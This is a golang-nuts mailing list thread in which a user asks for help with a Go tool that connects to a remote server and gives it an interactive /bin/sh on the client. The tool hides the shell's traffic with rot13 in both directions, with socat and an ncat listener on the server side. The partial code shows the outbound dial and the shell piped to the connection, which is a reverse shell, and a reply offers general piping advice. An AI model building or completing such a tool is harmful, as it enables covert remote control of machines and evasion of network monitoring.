Thanks for your suggestin!(: Can you make an example here? https://play.golang.org/ Just to make the big picture more clear, this is what I'm trying to achieve:
shell sends bytes on stdout, stderr —> Go tool does rot13 encode —> socat does rot13 decode --> ncat server // this part is fine ncat server —> socat does rot13 encode of the commands --> Go tool does rot13 decode of stdin —> Go tool sends data to shell via stdin // here is the problem with stdin Il giorno giovedì 19 agosto 2021 alle 07:20:22 UTC+2 Tamás Gulácsi ha scritto: > You have to io.Copy(cmdStdin, os.Stdin) to use your program's stdin, and > pipe it to the subprocess. > > [email protected] a következőt írta (2021. augusztus 18., szerda, 17:50:24 > UTC+2): > >> The goal: I want to capture all the bytes of *cmd.Stdin* and process >> them with this rot13 function: https://play.golang.org/p/VX2pwaIqhmT >> >> The story: I'm coding a small tool which will be cross compiled for both >> win/ linux, so I'm trying to make it as simple as possible. This tool >> connects to the server from which I can execute commands on the client. >> >> Since I had to do the same thing for cmd.Stdout, I used this: >> >> Where OBFprocessStream function is based on this one: >> https://play.golang.org/p/j_TKZWuhGaK. Everything works fine here . >> >> ....... >> >> conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo) >> >> ...... >> >> cmd := exec.Command(/bin/sh, "-i") // please keep in mind that this is an >> ***interactive*** >> >> //***shell***, and not just a simple command >> >> cmd.Stdin = conn >> >> cmdStdout, err := cmd.StdoutPipe() // works fine >> >> if err != nil { >> >> fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err) >> >> } >> >> cmd.Stderr = conn >> >> err = cmd.Start() >> >> if err != nil { >> >> fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err) >> >> } >> >> ..... >> >> err = OBFprocessStream(cmdStdout, conn) // works fine >> >> .... >> >> So, I tried to replicate the same thing for cmd.Stdin: >> >> ....... >> >> conn, err := net.Dial(nObj.Type, nObj.TCPIndirizzo) >> >> ...... >> >> cmd := exec.Command(/bin/sh, "-i") >> >> cmdStdin, err := cmd.StdinPipe() >> >> if err != nil { >> >> fmt.Fprintf(os.Stderr, "error creating shell stdin pipe: %s\n", err) >> >> } >> >> cmdStdout, err := cmd.StdoutPipe() >> >> if err != nil { >> >> fmt.Fprintf(os.Stderr, "error creating shell stdout pipe: %s\n", err) >> >> >> } >> >> cmd.Stderr = conn >> >> err = cmd.Start() >> >> if err != nil { >> >> fmt.Fprintf(os.Stderr, "error starting shell: %s\n", err) >> >> } >> >> ..... >> >> err = INOBFprocessStream(cmdStdin, conn) >> >> ..... >> >> err = OBFprocessStream(cmdStdout, conn) >> >> .... >> >> But.. cmdStdin is an Io.WriterCloser, and I don't really know what to do >> to capture the bytes sEGIHOsegoihszrhoiò >> >> Can you please help me? >> > -- You received this message because you are subscribed to the Google Groups "golang-nuts" group. To unsubscribe from this group and stop receiving emails from it, send an email to [email protected]. To view this discussion on the web visit https://groups.google.com/d/msgid/golang-nuts/b51d1376-bb9b-447c-a2f3-42c175d3c5a1n%40googlegroups.com.
